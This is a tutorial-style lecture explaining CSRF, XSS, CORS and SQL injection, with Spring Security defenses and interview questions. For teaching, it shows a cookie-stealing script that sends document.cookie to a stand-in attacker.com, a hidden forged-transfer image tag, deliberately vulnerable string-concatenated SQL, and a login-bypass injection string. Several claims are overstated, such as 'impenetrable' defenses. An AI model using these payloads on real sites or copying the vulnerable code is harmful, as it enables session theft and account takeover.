Skip to content

Understand Web Attacks: CSRF, XSS, CORS and SQL Injection | Spring Security Defenses

The Bank Check Counterfeiting and Impersonation Analogy

Imagine the security challenges faced by physical banking systems:

  1. The Forged Signature: A thief steals your pre printed checkbook, fills out a check payable to themselves for five thousand dollars, and deposits it. The bank sees a real check from your account and processes it.
  2. The Sabotaged ATM Keypad: A criminal glues a fake overlay onto an ATM keypad that logs your four digit pin as you type it.
  3. The Intercepted Courier: A courier carrying cash from Branch A to Branch B is held up at an unmonitored intersection.
  4. The Tampered Paper Ledger: An employee alters the numbers in the physical loan balance book directly using white out.

In web applications and REST APIs, digital counterparts to these exact attacks occur constantly: CSRF, XSS, CORS misconfigurations, and SQL Injection. Understanding these vulnerabilities from the attacker's perspective is essential to designing impenetrable defenses with Spring Security.

This lecture covers the anatomy of all four attacks, live request scenarios, and production defenses in Spring Boot.


1. CSRF (Cross Site Request Forgery)

The Attack Scenario:

  1. You log into your trusted online banking website (bank.com).
  2. The banking server authenticates you and sets an in memory session cookie: Cookie: JSESSIONID=BANK_SESSION_101.
  3. In a separate tab of the same browser, you visit an untrusted discussion forum or click a malicious phishing link (evil.com).
  4. The malicious page on evil.com contains a hidden image tag or auto submitting form:
    html
    <img src="http://bank.com/api/transfer?toAccount=attacker&amount=5000" style="display:none;" />
  5. Your browser attempts to load the image. Because the request is addressed to bank.com, your browser automatically attaches your valid JSESSIONID cookie to the request!
  6. bank.com receives the request, sees your valid authentication cookie, assumes you authorized the transfer, and transfers five thousand dollars to the attacker!
[ Victim Browser ] ---(visits evil.com)---> [ Attacker Server (evil.com) ]
       |                                                 |
       | <--- Returns page with hidden malicious request -+
       |
       +--- Auto-submits to bank.com with victim's COOKIE ---> [ bank.com ]
                                                               (Executes transfer!)

The Spring Security Defense:

  1. CSRF Tokens: For every state mutating request (POST, PUT, DELETE), Spring Security requires a unique, unpredictable random token generated on the server:
    html
    <input type="hidden" name="_csrf" value="4bf92f35-77b3-4da6..." />
    Because evil.com cannot read the victim's CSRF token due to the browser's Same Origin Policy, forged requests lack the valid token and are rejected with 403 Forbidden.
  2. Stateless APIs (JWT / Basic Auth): In stateless REST APIs that do not use cookies for authentication (relying instead on Authorization: Bearer <token> headers), browsers do not automatically attach credentials. Therefore, stateless APIs are immune to CSRF, and CSRF protection can be safely disabled:
    java
    http.csrf(csrf -> csrf.disable());
  3. SameSite Cookie Attribute: Set cookie policy to SameSite=Strict or SameSite=Lax. Browsers will refuse to attach cookies to cross site requests originating from third party domains.

2. XSS (Cross Site Scripting)

The Attack Scenario:

XSS occurs when an application accepts untrusted user input and renders it directly onto an HTML webpage without proper sanitization or escaping.

Suppose a blog comment form accepts user text:

html
<script>
  fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

If the server stores this comment in the database and renders it verbatim to other visitors:

  1. When another user opens the blog post, their browser executes the injected <script> tag.
  2. The script accesses document.cookie and sends the user's session credentials directly to the attacker.

Categories of XSS:

  • Stored (Persistent) XSS: Malicious script is saved in the database (comments, profiles) and served to multiple users.
  • Reflected XSS: Script is embedded in a URL link (e.g. site.com/search?q=<script>...) and reflected back in the search results page.
  • DOM Based XSS: Vulnerability exists purely in client side JavaScript altering the DOM unsafely (e.g. using innerHTML instead of textContent).

Defenses:

  1. HTML Escaping: Never render raw HTML strings. Template engines like Thymeleaf escape HTML automatically by default (th:text="${comment}").
  2. HttpOnly Cookies: Mark all session cookies as HttpOnly:
    properties
    `server.servlet.session.cookie.http-only=true`
    JavaScript running in the browser cannot read HttpOnly cookies via document.cookie, neutralizing token theft via XSS.
  3. Content Security Policy (CSP): Configure HTTP headers instructing the browser to execute scripts only from trusted domains:
    java
    http.headers(headers -> headers
        .contentSecurityPolicy(csp -> csp
            .policyDirectives("default-src 'self'; script-src 'self' https://trustedscripts.com")
        )
    );

3. CORS (Cross Origin Resource Sharing)

What Is the Same Origin Policy?

By default, web browsers enforce the Same Origin Policy (SOP): a web page running on http://frontend.com:3000 is strictly prohibited from making AJAX/Fetch calls to http://backend.com:8080.

An "Origin" is defined by three components: Protocol + Domain + Port

If even one component differs, it is considered a Cross Origin request.

How CORS Works:

CORS is not an attack. CORS is an HTTP header based browser mechanism that allows servers to explicitly declare which foreign origins are permitted to access their resources.

For state mutating calls, the browser automatically sends a Preflight OPTIONS request first:

[ Browser (frontend.com:3000) ]                        [ Backend Server (backend.com:8080) ]
              |                                                           |
              | --- 1. OPTIONS /api/orders (Preflight) -----------------> |
              |        Origin: http://frontend.com:3000                   |
              |        Access-Control-Request-Method: POST                |
              |                                                           |
              | <-- 2. HTTP 200 OK -------------------------------------- |
              |        Access-Control-Allow-Origin: http://frontend.com:3000
              |        Access-Control-Allow-Methods: GET, POST, DELETE    |
              |                                                           |
              | --- 3. POST /api/orders (Actual Request) ---------------> |
              | <-- 4. HTTP 201 Created (Order Response) ---------------- |

If the backend server does not include Access-Control-Allow-Origin: http://frontend.com:3000, the browser blocks the response and throws a CORS error in the developer console.

Configuring CORS in Spring Boot:

java
@Configuration
public class CorsConfig {

    @Bean
    public CorsConfigurationSource corsConfigurationSource() {
        CorsConfiguration config = new CorsConfiguration();
        config.setAllowedOrigins(List.of("http://frontend.com:3000", "https://mycompany.com"));
        config.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "OPTIONS"));
        config.setAllowedHeaders(List.of("Authorization", "Content-Type", "X-Correlation-Id"));
        config.setAllowCredentials(true);
        config.setMaxAge(3600L); // Cache preflight response for 1 hour

        UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
        source.registerCorsConfiguration("/**", config);
        return source;
    }
}

4. SQL Injection (SQLi)

The Attack Scenario:

SQL Injection occurs when user supplied input is concatenated directly into a dynamic SQL query string without escaping:

java
// VULNERABLE CODE: Direct string concatenation!
String sql = "SELECT * FROM users WHERE username = '" + userInput + "' AND password = '" + pass + "'";

If an attacker enters the username: admin' --

The query becomes:

sql
SELECT * FROM users WHERE username = 'admin' --' AND password = '...'

The -- characters represent an SQL comment! The database evaluates WHERE username = 'admin' and ignores the password check completely, logging the attacker in as administrator!

Defenses:

  1. Parameterized Queries (PreparedStatement): Always use placeholders (? or :namedParam). The database treats input strictly as literal parameter data, never as executable SQL instructions:
    java
    @Query("SELECT u FROM User u WHERE u.username = :username AND u.password = :password")
    Optional<User> findUser(@Param("username") String username, @Param("password") String password);
  2. Use ORM Frameworks (Spring Data JPA): JPA and Hibernate automatically use parameterized PreparedStatement objects under the hood for derived queries and JPQL, making applications naturally immune to SQL injection.

Summary Comparison Matrix

AttackAttacker GoalPrimary MechanismCore Spring Security Defense
CSRFForce victim to execute unwanted actionsExploits ambient browser session cookiesCSRF Tokens, SameSite cookies, stateless JWTs
XSSExecute malicious JavaScript in victim's browserInjects unescaped scripts into web DOMHTML escaping, HttpOnly cookies, Content Security Policy
CORSUnauthorized cross domain data accessBrowser Same Origin Policy violationExplicit CorsConfigurationSource origin whitelisting
SQLiRead, modify, or drop database tablesInjects malicious SQL fragments via unescaped inputParameterized queries, PreparedStatement, Spring Data JPA

Interview Questions & Pitfalls

Q1: Why should CSRF protection be disabled in stateless REST APIs using JWT tokens?

CSRF vulnerabilities rely entirely on the browser automatically attaching stored ambient credentials (such as cookies) to foreign domain requests. Stateless REST APIs store tokens in client side headers (Authorization: Bearer ...). Because browsers never attach custom authorization headers to cross domain requests automatically, CSRF attacks are physically impossible against token based APIs.

Q2: What is the difference between Stored XSS and Reflected XSS?

Stored XSS persists the malicious script payload permanently in the database (e.g. inside a public comment), executing against every user who loads the page. Reflected XSS embeds the script inside an HTTP request (e.g. a search query parameter in a malicious URL) and is immediately reflected back to only the specific victim who clicked that link.

Q3: What happens during a CORS preflight request?

Before executing a non simple cross origin request (such as a PUT request or any call with an application/json content type), the browser automatically issues an HTTP OPTIONS request. The preflight request asks the backend server whether the origin, HTTP method, and headers are permitted. Only after receiving a positive response does the browser send the actual business request.

Q4: How does setting cookie.httpOnly=true protect against session hijacking?

The HttpOnly flag instructs the browser that the cookie must never be accessible via client side scripts (document.cookie). If an attacker manages to inject and execute malicious JavaScript on the page via an XSS vulnerability, they cannot read or exfiltrate the HttpOnly session cookie.

Q5: Why does using Spring Data JPA derived query methods automatically prevent SQL injection?

Spring Data JPA generates parameterized SQL statements backed by JDBC PreparedStatement objects for all derived query methods. Parameter values are sent separately from the SQL command structure, ensuring the database engine compiles the query plan first and treats input strictly as literal string or numeric data.